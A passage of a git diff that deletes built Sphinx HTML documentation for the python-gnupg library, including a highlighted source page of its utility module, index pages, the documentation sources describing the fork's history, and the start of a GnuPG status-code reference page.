class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">instream</span><span class="p">,</span> <span class="n">outstream</span><span class="p">))</span> - <span class="n">copy_thread</span><span class="o">.</span><span class="n">setDaemon</span><span class="p">(</span><span class="bp">True</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">'</span><span class="si">%r</span><span class="s">, </span><span class="si">%r</span><span class="s">, </span><span class="si">%r</span><span class="s">'</span><span class="p">,</span> <span class="n">copy_thread</span><span class="p">,</span> <span class="n">instream</span><span class="p">,</span> <span class="n">outstream</span><span class="p">)</span> - <span class="n">copy_thread</span><span class="o">.</span><span class="n">start</span><span class="p">()</span> - <span class="k">return</span> <span class="n">copy_thread</span> -</div> -<div class="viewcode-block" id="_utc_epoch"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._utc_epoch">[docs]</a><span class="k">def</span> <span class="nf">_utc_epoch</span><span class="p">():</span> - <span class="sd">"""Get the seconds since epoch."""</span> - <span class="k">return</span> <span class="nb">int</span><span class="p">(</span><span class="n">mktime</span><span class="p">(</span><span class="n">localtime</span><span class="p">()))</span> -</div> -<div class="viewcode-block" id="_which"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._which">[docs]</a><span class="k">def</span> <span class="nf">_which</span><span class="p">(</span><span class="n">executable</span><span class="p">,</span> <span class="n">flags</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">X_OK</span><span class="p">):</span> - <span class="sd">"""Borrowed from Twisted's :mod:twisted.python.proutils .</span> - -<span class="sd"> Search PATH for executable files with the given name.</span> - -<span class="sd"> On newer versions of MS-Windows, the PATHEXT environment variable will be</span> -<span class="sd"> set to the list of file extensions for files considered executable. This</span> -<span class="sd"> will normally include things like ".EXE". This fuction will also find files</span> -<span class="sd"> with the given name ending with any of these extensions.</span> - -<span class="sd"> On MS-Windows the only flag that has any meaning is os.F_OK. Any other</span> -<span class="sd"> flags will be ignored.</span> - -<span class="sd"> Note: This function does not help us prevent an attacker who can already</span> -<span class="sd"> manipulate the environment's PATH settings from placing malicious code</span> -<span class="sd"> higher in the PATH. It also does happily follows links.</span> - -<span class="sd"> :param str name: The name for which to search.</span> -<span class="sd"> :param int flags: Arguments to L{os.access}.</span> -<span class="sd"> :rtype: list</span> -<span class="sd"> :returns: A list of the full paths to files found, in the order in which</span> -<span class="sd"> they were found.</span> -<span class="sd"> """</span> - <span class="n">result</span> <span class="o">=</span> <span class="p">[]</span> - <span class="n">exts</span> <span class="o">=</span> <span class="nb">filter</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s">'PATHEXT'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">pathsep</span><span class="p">))</span> - <span class="n">path</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s">'PATH'</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span> - <span class="k">if</span> <span class="n">path</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">return</span> <span class="p">[]</span> - <span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s">'PATH'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">pathsep</span><span class="p">):</span> - <span class="n">p</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">executable</span><span class="p">)</span> - <span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">access</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">flags</span><span class="p">):</span> - <span class="n">result</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">p</span><span class="p">)</span> - <span class="k">for</span> <span class="n">e</span> <span class="ow">in</span> <span class="n">exts</span><span class="p">:</span> - <span class="n">pext</span> <span class="o">=</span> <span class="n">p</span> <span class="o">+</span> <span class="n">e</span> - <span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">access</span><span class="p">(</span><span class="n">pext</span><span class="p">,</span> <span class="n">flags</span><span class="p">):</span> - <span class="n">result</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">pext</span><span class="p">)</span> - <span class="k">return</span> <span class="n">result</span> -</div> -<div class="viewcode-block" id="_write_passphrase"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._write_passphrase">[docs]</a><span class="k">def</span> <span class="nf">_write_passphrase</span><span class="p">(</span><span class="n">stream</span><span class="p">,</span> <span class="n">passphrase</span><span class="p">,</span> <span class="n">encoding</span><span class="p">):</span> - <span class="sd">"""Write the passphrase from memory to the GnuPG process' stdin.</span> - -<span class="sd"> :type stream: file, :class:`~io.BytesIO`, or :class:`~io.StringIO`</span> -<span class="sd"> :param stream: The input file descriptor to write the password to.</span> -<span class="sd"> :param str passphrase: The passphrase for the secret key material.</span> -<span class="sd"> :param str encoding: The data encoding expected by GnuPG. Usually, this</span> -<span class="sd"> is ``sys.getfilesystemencoding()``.</span> -<span class="sd"> """</span> - <span class="n">passphrase</span> <span class="o">=</span> <span class="s">'</span><span class="si">%s</span><span class="se">\n</span><span class="s">'</span> <span class="o">%</span> <span class="n">passphrase</span> - <span class="n">passphrase</span> <span class="o">=</span> <span class="n">passphrase</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="n">encoding</span><span class="p">)</span> - <span class="n">stream</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">passphrase</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Wrote passphrase on stdin."</span><span class="p">)</span> - -</div> -<div class="viewcode-block" id="InheritableProperty"><a class="viewcode-back" href="../../gnupg.html#gnupg._util.InheritableProperty">[docs]</a><span class="k">class</span> <span class="nc">InheritableProperty</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span> - <span class="sd">"""Based on the emulation of PyProperty_Type() in Objects/descrobject.c"""</span> - - <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">fget</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">fset</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">fdel</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">doc</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> - <span class="bp">self</span><span class="o">.</span><span class="n">fget</span> <span class="o">=</span> <span class="n">fget</span> - <span class="bp">self</span><span class="o">.</span><span class="n">fset</span> <span class="o">=</span> <span class="n">fset</span> - <span class="bp">self</span><span class="o">.</span><span class="n">fdel</span> <span class="o">=</span> <span class="n">fdel</span> - <span class="bp">self</span><span class="o">.</span><span class="n">__doc__</span> <span class="o">=</span> <span class="n">doc</span> - - <span class="k">def</span> <span class="nf">__get__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">obj</span><span class="p">,</span> <span class="n">objtype</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> - <span class="k">if</span> <span class="n">obj</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">return</span> <span class="bp">self</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">fget</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">raise</span> <span class="ne">AttributeError</span><span class="p">(</span><span class="s">"unreadable attribute"</span><span class="p">)</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">fget</span><span class="o">.</span><span class="n">__name__</span> <span class="o">==</span> <span class="s">'<lambda>'</span> <span class="ow">or</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">fget</span><span class="o">.</span><span class="n">__name__</span><span class="p">:</span> - <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">fget</span><span class="p">(</span><span class="n">obj</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">return</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">fget</span><span class="o">.</span><span class="n">__name__</span><span class="p">)()</span> - - <span class="k">def</span> <span class="nf">__set__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">obj</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">fset</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">raise</span> <span class="ne">AttributeError</span><span class="p">(</span><span class="s">"can't set attribute"</span><span class="p">)</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">fset</span><span class="o">.</span><span class="n">__name__</span> <span class="o">==</span> <span class="s">'<lambda>'</span> <span class="ow">or</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">fset</span><span class="o">.</span><span class="n">__name__</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">fset</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="n">value</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="nb">getattr</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">fset</span><span class="o">.</span><span class="n">__name__</span><span class="p">)(</span><span class="n">value</span><span class="p">)</span> - - <span class="k">def</span> <span class="nf">__delete__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">obj</span><span class="p">):</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">fdel</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">raise</span> <span class="ne">AttributeError</span><span class="p">(</span><span class="s">"can't delete attribute"</span><span class="p">)</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">fdel</span><span class="o">.</span><span class="n">__name__</span> <span class="o">==</span> <span class="s">'<lambda>'</span> <span class="ow">or</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">fdel</span><span class="o">.</span><span class="n">__name__</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">fdel</span><span class="p">(</span><span class="n">obj</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="nb">getattr</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">fdel</span><span class="o">.</span><span class="n">__name__</span><span class="p">)()</span> - -</div> -<div class="viewcode-block" id="Storage"><a class="viewcode-back" href="../../gnupg.html#gnupg._util.Storage">[docs]</a><span class="k">class</span> <span class="nc">Storage</span><span class="p">(</span><span class="nb">dict</span><span class="p">):</span> - <span class="sd">"""A dictionary where keys are stored as class attributes.</span> - -<span class="sd"> For example, ``obj.foo`` can be used in addition to ``obj['foo']``:</span> - -<span class="sd"> >>> o = Storage(a=1)</span> -<span class="sd"> >>> o.a</span> -<span class="sd"> 1</span> -<span class="sd"> >>> o['a']</span> -<span class="sd"> 1</span> -<span class="sd"> >>> o.a = 2</span> -<span class="sd"> >>> o['a']</span> -<span class="sd"> 2</span> -<span class="sd"> >>> del o.a</span> -<span class="sd"> >>> o.a</span> -<span class="sd"> None</span> -<span class="sd"> """</span> - <span class="k">def</span> <span class="nf">__getattr__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span> - <span class="k">try</span><span class="p">:</span> - <span class="k">return</span> <span class="bp">self</span><span class="p">[</span><span class="n">key</span><span class="p">]</span> - <span class="k">except</span> <span class="ne">KeyError</span> <span class="k">as</span> <span class="n">k</span><span class="p">:</span> - <span class="k">return</span> <span class="bp">None</span> - - <span class="k">def</span> <span class="nf">__setattr__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span> - <span class="bp">self</span><span class="p">[</span><span class="n">key</span><span class="p">]</span> <span class="o">=</span> <span class="n">value</span> - - <span class="k">def</span> <span class="nf">__delattr__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span> - <span class="k">try</span><span class="p">:</span> - <span class="k">del</span> <span class="bp">self</span><span class="p">[</span><span class="n">key</span><span class="p">]</span> - <span class="k">except</span> <span class="ne">KeyError</span> <span class="k">as</span> <span class="n">k</span><span class="p">:</span> - <span class="k">raise</span> <span class="ne">AttributeError</span><span class="p">(</span><span class="n">k</span><span class="o">.</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> - - <span class="k">def</span> <span class="nf">__repr__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="k">return</span> <span class="s">'<Storage '</span> <span class="o">+</span> <span class="nb">dict</span><span class="o">.</span><span class="n">__repr__</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">+</span> <span class="s">'>'</span> - - <span class="k">def</span> <span class="nf">__getstate__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="k">return</span> <span class="nb">dict</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> - - <span class="k">def</span> <span class="nf">__setstate__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span> - <span class="k">for</span> <span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">v</span><span class="p">)</span> <span class="ow">in</span> <span class="n">value</span><span class="o">.</span><span class="n">items</span><span class="p">():</span> - <span class="bp">self</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">=</span> <span class="n">v</span></div> -</pre></div> - - </div> - </div> - </div> - </div> - <div class="sidebar"> - <h3>Table Of Contents</h3> - <ul> -<li class="toctree-l1"><a class="reference internal" href="../../gnupg.html">gnupg package</a></li> -</ul> - - <h3 style="margin-top: 1.5em;">Search</h3> - <form class="search" action="../../search.html" method="get"> - <input type="text" name="q" /> - <input type="submit" value="Go" /> - <input type="hidden" name="check_keywords" value="yes" /> - <input type="hidden" name="area" value="default" /> - </form> - <p class="searchtip" style="font-size: 90%"> - Enter search terms or a module, class or function name. - </p> - </div> - <div class="clearer"></div> - </div> - </div> - - <div class="footer-wrapper"> - <div class="footer"> - <div class="left"> - <a href="../../py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="../../genindex.html" title="General Index" - >index</a> - </div> - - <div class="right"> - - <div class="footer"> - © Copyright 2013-2014, Isis Agora Lovecruft. - Last updated on Saturday, 02 August 2014. - Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.2.2. - </div> - </div> - <div class="clearer"></div> - </div> - </div> - - </body> -</html>
\ No newline at end of file diff --git a/docs/_build/html/_modules/index.html b/docs/_build/html/_modules/index.html deleted file mode 100644 index d032746..0000000 --- a/docs/_build/html/_modules/index.html +++ /dev/null @@ -1,104 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - - -<html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> - - <title>Overview: module code — gnupg unknown documentation</title> - - <link rel="stylesheet" href="../_static/agogo.css" type="text/css" /> - <link rel="stylesheet" href="../_static/pygments.css" type="text/css" /> - - <script type="text/javascript"> - var DOCUMENTATION_OPTIONS = { - URL_ROOT: '../', - VERSION: 'unknown', - COLLAPSE_INDEX: false, - FILE_SUFFIX: '.html', - HAS_SOURCE: true - }; - </script> - <script type="text/javascript" src="../_static/jquery.js"></script> - <script type="text/javascript" src="../_static/underscore.js"></script> - <script type="text/javascript" src="../_static/doctools.js"></script> - <link rel="top" title="gnupg unknown documentation" href="../index.html" /> - </head> - <body> - <div class="header-wrapper"> - <div class="header"> - <div class="headertitle"><a - href="../index.html">gnupg: Python Module Documentation</a></div> - <div class="rel"> - <a href="../py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="../genindex.html" title="General Index" - accesskey="I">index</a> - </div> - </div> - </div> - - <div class="content-wrapper"> - <div class="content"> - <div class="document"> - - <div class="documentwrapper"> - <div class="bodywrapper"> - <div class="body"> - - <h1>All modules for which code is available</h1> -<ul><li><a href="gnupg.html">gnupg</a></li> -<ul><li><a href="gnupg/_meta.html">gnupg._meta</a></li> -<li><a href="gnupg/_parsers.html">gnupg._parsers</a></li> -<li><a href="gnupg/_util.html">gnupg._util</a></li> -</ul></ul> - - </div> - </div> - </div> - </div> - <div class="sidebar"> - <h3>Table Of Contents</h3> - <ul> -<li class="toctree-l1"><a class="reference internal" href="../gnupg.html">gnupg package</a></li> -</ul> - - <h3 style="margin-top: 1.5em;">Search</h3> - <form class="search" action="../search.html" method="get"> - <input type="text" name="q" /> - <input type="submit" value="Go" /> - <input type="hidden" name="check_keywords" value="yes" /> - <input type="hidden" name="area" value="default" /> - </form> - <p class="searchtip" style="font-size: 90%"> - Enter search terms or a module, class or function name. - </p> - </div> - <div class="clearer"></div> - </div> - </div> - - <div class="footer-wrapper"> - <div class="footer"> - <div class="left"> - <a href="../py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="../genindex.html" title="General Index" - >index</a> - </div> - - <div class="right"> - - <div class="footer"> - © Copyright 2013-2014, Isis Agora Lovecruft. - Last updated on Saturday, 02 August 2014. - Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.2.2. - </div> - </div> - <div class="clearer"></div> - </div> - </div> - - </body> -</html>
\ No newline at end of file diff --git a/docs/_build/html/_sources/gnupg.txt b/docs/_build/html/_sources/gnupg.txt deleted file mode 100644 index fc8a479..0000000 --- a/docs/_build/html/_sources/gnupg.txt +++ /dev/null @@ -1,131 +0,0 @@ -gnupg package -============= - -gnupg module ------------- - -This module contains public classes for working with GnuPG_. To get started, -do: - ->>> import gnupg ->>> gpg = gnupg.GPG() - - -.. automodule:: gnupg - :members: - :undoc-members: - :private-members: - :show-inheritance: - -.. _meta: - -meta module ------------ - -Contains the meta and base classes which :class:`gnupg.GPG` inherits -from. Mostly, you shouldn't ever need to touch anything in here, unless you're -doing some serious hacking. - - -.. automodule:: gnupg._meta - :members: - :private-members: - :special-members: - :exclude-members: _agent_proc, __module__, __dict__, _decode_errors, init, - __weakref__, _result_map, __metaclass__ - :show-inheritance: - -.. _parsers: - -parsers module --------------- - -These are classes for parsing both user inputs and status file descriptor -flags from GnuPG's output. The latter are used in order to determine what our -GnuPG process is doing and retrieve information about its operations, which -are stored in corresponding classes in -:attr:`~gnupg._meta.GPGBase._result_map`. Some status flags aren't handled yet --- information on *all* of the flags (well, at least the documented ones…) can -be found in the :file:`docs/DETAILS` file in GnuPG's source_, which has been -included here_ as well. - - -.. automodule:: gnupg._parsers - :members: - :undoc-members: - :private-members: - :show-inheritance: - - -.. _util: - -util module ------------ - -You shouldn't really need to mess with this module either, it mostly deals -with low-level IO and file handling operations, de-/en- coding issues, and -setting up basic package facilities such as logging. - -.. automodule:: gnupg._util - :members: - :undoc-members: - :private-members: - :show-inheritance: - - -About this fork ---------------- - -This is a modified version of python-gnupg_, (forked from version 0.3.2) which -was created by Vinay Sajip, which itself is a modification of GPG.py written -by Steve Traugott, which in turn is a modification of the pycrypto GnuPG -interface written by A.M. Kuchling. - -This version is patched to sanitize untrusted inputs, due to the necessity of -executing ``subprocess.Popen([...], shell=True)`` in order to communicate with -GnuPG. Several speed improvements were also made based on code profiling, and -the API has been cleaned up to support an easier, more Pythonic, interaction. - - -Previous Authors' Documentation -------------------------------- - -Steve Traugott's documentation: - | - | Portions of this module are derived from A.M. Kuchling's well-designed - | GPG.py, using Richard Jones' updated version 1.3, which can be found in - | the pycrypto CVS repository on Sourceforge: - | - | http://pycrypto.cvs.sourceforge.net/viewvc/pycrypto/gpg/GPG.py - | - | This module is *not* forward-compatible with amk's; some of the old - | interface has changed. For instance, since I've added decrypt - | functionality, I elected to initialize with a 'gpghome' argument instead - | of 'keyring', so that gpg can find both the public and secret keyrings. - | I've also altered some of the returned objects in order for the caller to - | not have to know as much about the internals of the result classes. - | - | While the rest of ISconf is released under the GPL, I am releasing this - | single file under the same terms that A.M. Kuchling used for pycrypto. - | - | Steve Traugott, stevegt@terraluna.org - | Thu Jun 23 21:27:20 PDT 2005 - - -Vinay Sajip's documentation: - | - | This version of the module has been modified from Steve Traugott's version - | (see http://trac.t7a.org/isconf/browser/trunk/lib/python/isconf/GPG.py) by - | Vinay Sajip to make use of the subprocess module (Steve's version uses - | os.fork() and so does not work on Windows). Renamed to gnupg.py to avoid - | confusion with the previous versions. - | - | A unittest harness (test_gnupg.py) has also been added. - | - | Modifications Copyright (C) 2008-2012 Vinay Sajip. All rights reserved. - - -.. _GnuPG: http://gnupg.org -.. _python-gnupg: https://code.google.com/p/python-gnupg/ -.. _source: http://http://git.gnupg.org/cgi-bin/gitweb.cgi?p=gnupg.git;a=shortlog;h=refs/heads/master -.. _here: ./_static/DETAILS.html diff --git a/docs/_build/html/_sources/index.txt b/docs/_build/html/_sources/index.txt deleted file mode 100644 index c266353..0000000 --- a/docs/_build/html/_sources/index.txt +++ /dev/null @@ -1,44 +0,0 @@ -.. gnupg documentation master file, created by - sphinx-quickstart on Fri Apr 5 22:38:47 2013. - You can adapt this file completely to your liking, but it should at least - contain the root `toctree` directive. - -gnupg: Python Package Documentation -=================================== -A Python interface for handling interactions with GnuPG, including keyfile -generation, keyring maintainance, import and export, encryption and -decryption, sending to and recieving from keyservers, and signing and -verification. - -Contents: - -.. toctree:: - :maxdepth: 2 - - gnupg - - -Source, license, & bug reports -============================== -The source code which was used to generate this documentation is accessible by -clicking the little `source` links next to the docs. Current source code can -be found in this github repository_. The **master** branch always reflects the -latest release, all releases are tagged with signed, annotated git tags, and -the **develop** branch represents the state of the next release. - -This package is released under GPLv3_ or greater. - -If you find a bug, or would like to request a feature, please use our public -bugtracker_ on github. Patches warmly welcome. - -Indices and tables -================== - -* :ref:`genindex` -* :ref:`modindex` -* :ref:`search` - -.. _source: https://github.com/isislovecruft/python-gnupg -.. _repository: https://github.com/isislovecruft/python-gnupg -.. _GPLv3: https://www.gnu.org/licenses/gpl.txt -.. _bugtracker: https://github.com/isislovecruft/python-gnupg/issues diff --git a/docs/_build/html/_static/DETAILS.html b/docs/_build/html/_static/DETAILS.html deleted file mode 100644 index 7b0b9f8..0000000 --- a/docs/_build/html/_static/DETAILS.html +++ /dev/null @@ -1,2677 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> -<head> -<title>GnuPG Details</title> -<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> -<meta name="title" content="GnuPG Details"/> -<meta name="generator" content="Org-mode"/> -<meta name="generated" content="2013-07-03T09:52+0000"/> -<meta name="author" content="isis"/> -<meta name="description" content=""/> -<meta name="keywords" content=""/> -<style type="text/css"> - <!--/*--><![CDATA[/*><!--*/ - html { font-family: Times, serif; font-size: 12pt; } - .title { text-align: center; } - .todo { color: red; } - .done { color: green; } - .tag { background-color: #add8e6; font-weight:normal } - .target { } - .timestamp { color: #bebebe; } - .timestamp-kwd { color: #5f9ea0; } - .right {margin-left:auto; margin-right:0px; text-align:right;} - .left {margin-left:0px; margin-right:auto; text-align:left;} - .center {margin-left:auto; margin-right:auto; text-align:center;} - p.verse { margin-left: 3% } - pre { - border: 1pt solid #AEBDCC; - background-color: #F3F5F7; - padding: 5pt; - font-family: courier, monospace; - font-size: 90%; - overflow:auto; - } - table { border-collapse: collapse; } - td, th { vertical-align: top; } - th.right { text-align:center; } - th.left { text-align:center; } - th.center { text-align:center; } - td.right { text-align:right; } - td.left { text-align:left; } - td.center { text-align:center; } - dt { font-weight: bold; } - div.figure { padding: 0.5em; } - div.figure p { text-align: center; } - div.inlinetask { - padding:10px; - border:2px solid gray; - margin:10px; - background: #ffffcc; - } - textarea { overflow-x: auto; } - .linenr { font-size:smaller } - .code-highlighted {background-color:#ffff00;} - .org-info-js_info-navigation { border-style:none; } - #org-info-js_console-label { font-size:10px; font-weight:bold; - white-space:nowrap; } - .org-info-js_search-highlight {background-color:#ffff00; color:#000000; - font-weight:bold; } - /*]]>*/--> -</style> -<script type="text/javascript"> -/* -@licstart The following is the entire license notice for the -JavaScript code in this tag. - -Copyright (C) 2012 Free Software Foundation, Inc. - -The JavaScript code in this tag is free software: you can -redistribute it and/or modify it under the terms of the GNU -General Public License (GNU GPL) as published by the Free Software -Foundation, either version 3 of the License, or (at your option) -any later version. The code is distributed WITHOUT ANY WARRANTY; -without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU GPL for more details. - -As additional permission under GNU GPL version 3 section 7, you -may distribute non-source (e.g., minimized or compacted) forms of -that code without the copy of the GNU GPL normally required by -section 4, provided you include this license notice and a URL -through which recipients can access the Corresponding Source. - - -@licend The above is the entire license notice -for the JavaScript code in this tag. -*/ -<!--/*--><![CDATA[/*><!--*/ - function CodeHighlightOn(elem, id) - { - var target = document.getElementById(id); - if(null != target) { - elem.cacheClassElem = elem.className; - elem.cacheClassTarget = target.className; - target.className = "code-highlighted"; - elem.className = "code-highlighted"; - } - } - function CodeHighlightOff(elem, id) - { - var target = document.getElementById(id); - if(elem.cacheClassElem) - elem.className = elem.cacheClassElem; - if(elem.cacheClassTarget) - target.className = elem.cacheClassTarget; - } -/*]]>*///--> -</script> -<script type="text/css" href="./agogo.css" /> -</head> -<body> - -<div id="preamble"> - -</div> - -<div id="content"> -<h1 class="title">GnuPG Details</h1> - - -<p> -This is the DETAILS file for GnuPG which specifies some internals and -parts of the external API for GPG and GPGSM. -</p> - -<div id="table-of-contents"> -<h2>Table of Contents</h2> -<div id="text-table-of-contents"> -<ul> -<li><a href="#sec-1">1 Format of the colon listings</a> -<ul> -<li><a href="#sec-1-1">1.1 Description of the fields</a> -<ul> -<li><a href="#sec-1-1-1">1.1.1 Field 1 - Type of record</a></li> -<li><a href="#sec-1-1-2">1.1.2 Field 2 - Validity</a></li> -<li><a href="#sec-1-1-3">1.1.3 Field 3 - Key length</a></li> -<li><a href="#sec-1-1-4">1.1.4 Field 4 - Public key algorithm</a></li> -<li><a href="#sec-1-1-5">1.1.5 Field 5 - KeyID</a></li> -<li><a href="#sec-1-1-6">1.1.6 Field 6 - Creation date</a></li> -<li><a href="#sec-1-1-7">1.1.7 Field 7 - Expiration date</a></li> -<li><a href="#sec-1-1-8">1.1.8 Field 8 - Certificate S/N, UID hash, trust signature info</a></li> -<li><a href="#sec-1-1-9">1.1.9 Field 9 - Ownertrust</a></li> -<li><a href="#sec-1-1-10">1.1.10 Field 10 - User-ID</a></li> -<li><a href="#sec-1-1-11">1.1.11 Field 11 - Signature class</a></li> -<li><a href="#sec-1-1-12">1.1.12 Field 12 - Key capabilities</a></li> -<li><a href="#sec-1-1-13">1.1.13 Field 13 - Issuer certificate fingerprint or other info</a></li> -<li><a href="#sec-1-1-14">1.1.14 Field 14 - Flag field</a></li> -<li><a href="#sec-1-1-15">1.1.15 Field 15 - S/N of a token</a></li> -<li><a href="#sec-1-1-16">1.1.16 Field 16 - Hash algorithm</a></li> -</ul> -</li> -<li><a href="#sec-1-2">1.2 Special fields</a> -<ul> -<li><a href="#sec-1-2-1">1.2.1 PKD - Public key data</a></li> -<li><a href="#sec-1-2-2">1.2.2 TRU - Trust database information</a></li> -<li><a href="#sec-1-2-3">1.2.3 SPK - Signature subpacket records</a></li> -<li><a href="#sec-1-2-4">1.2.4 CFG - Configuration data</a></li> -</ul></li> -</ul> -</li> -<li><a href="#sec-2">2 Format of the –status-fd output</a> -<ul> -<li><a href="#sec-2-1">2.1 General status codes</a> -<ul> -<li><a href="#sec-2-1-1">2.1.1 NEWSIG</a></li> -<li><a href="#sec-2-1-2">2.1.2 GOODSIG <long_keyid_or_fpr> <username></a></li> -<li><a href="#sec-2-1-3">2.1.3 EXPSIG <long_keyid_or_fpr> <username></a></li> -<li><a href="#sec-2-1-4">2.1.4 EXPKEYSIG <long_keyid_or_fpr> <username></a></li> -<li><a href="#sec-2-1-5">2.1.5 REVKEYSIG <long_keyid_or_fpr> <username></a></li> -<li><a href="#sec-2-1-6">2.1.6 BADSIG <long_keyid_or_fpr> <username></a></li> -<li><a href="#sec-2-1-7">2.1.7 ERRSIG <keyid> <pkalgo> <hashalgo> <sig_class> <time> <rc></a></li> -<li><a href="#sec-2-1-8">2.1.8 VALIDSIG <args></a></li> -<li><a href="#sec-2-1-9">2.1.9 SIG_ID <radix64_string> <sig_creation_date> <sig-timestamp></a></li> -<li><a href="#sec-2-1-10">2.1.10 ENC_TO <long_keyid> <keytype> <keylength></a></li> -<li><a href="#sec-2-1-11">2.1.11 BEGIN_DECRYPTION</a></li> -<li><a href="#sec-2-1-12">2.1.12 END_DECRYPTION</a></li> -<li><a href="#sec-2-1-13">2.1.13 DECRYPTION_INFO <mdc_method> <sym_algo></a></li> -<li><a href="#sec-2-1-14">2.1.14 DECRYPTION_FAILED</a></li> -<li><a href="#sec-2-1-15">2.1.15 DECRYPTION_OKAY</a></li> 